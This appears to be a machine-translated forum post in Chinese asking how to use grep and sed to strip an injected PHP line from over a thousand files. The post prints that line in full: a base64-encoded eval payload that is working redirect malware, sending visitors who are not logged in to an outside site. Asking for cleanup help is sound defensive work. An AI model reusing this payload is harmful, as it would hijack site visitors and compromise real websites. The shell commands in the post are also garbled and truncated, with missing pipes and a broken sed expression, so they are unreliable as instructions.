xargs sed -i ’s 我看了一下PHP代码，发现了这个（如果你解码64位编码，就会显示出恶意逻辑的源代码）。 无论如何，我需要对一千多个文本文件（.php文件）做一些手术。 我需要从每个文本文件中递归地删除以下代码。
/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly9jaGVjay1yb2JvdC54eXovIjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/
in the sed command, e.g.:
grep -rl matchstring somedir xargs sed -i 's
我在这里找到了一些其他的帖子做类似的事情，但是有些东西是不工作的，也许是因为我要删除的代码可能包括转义字符（？）或者干脆太长了（？帮助我的那个帖子说
grep -rl matchstring somedir string1string2g' 把反斜杠换成管子。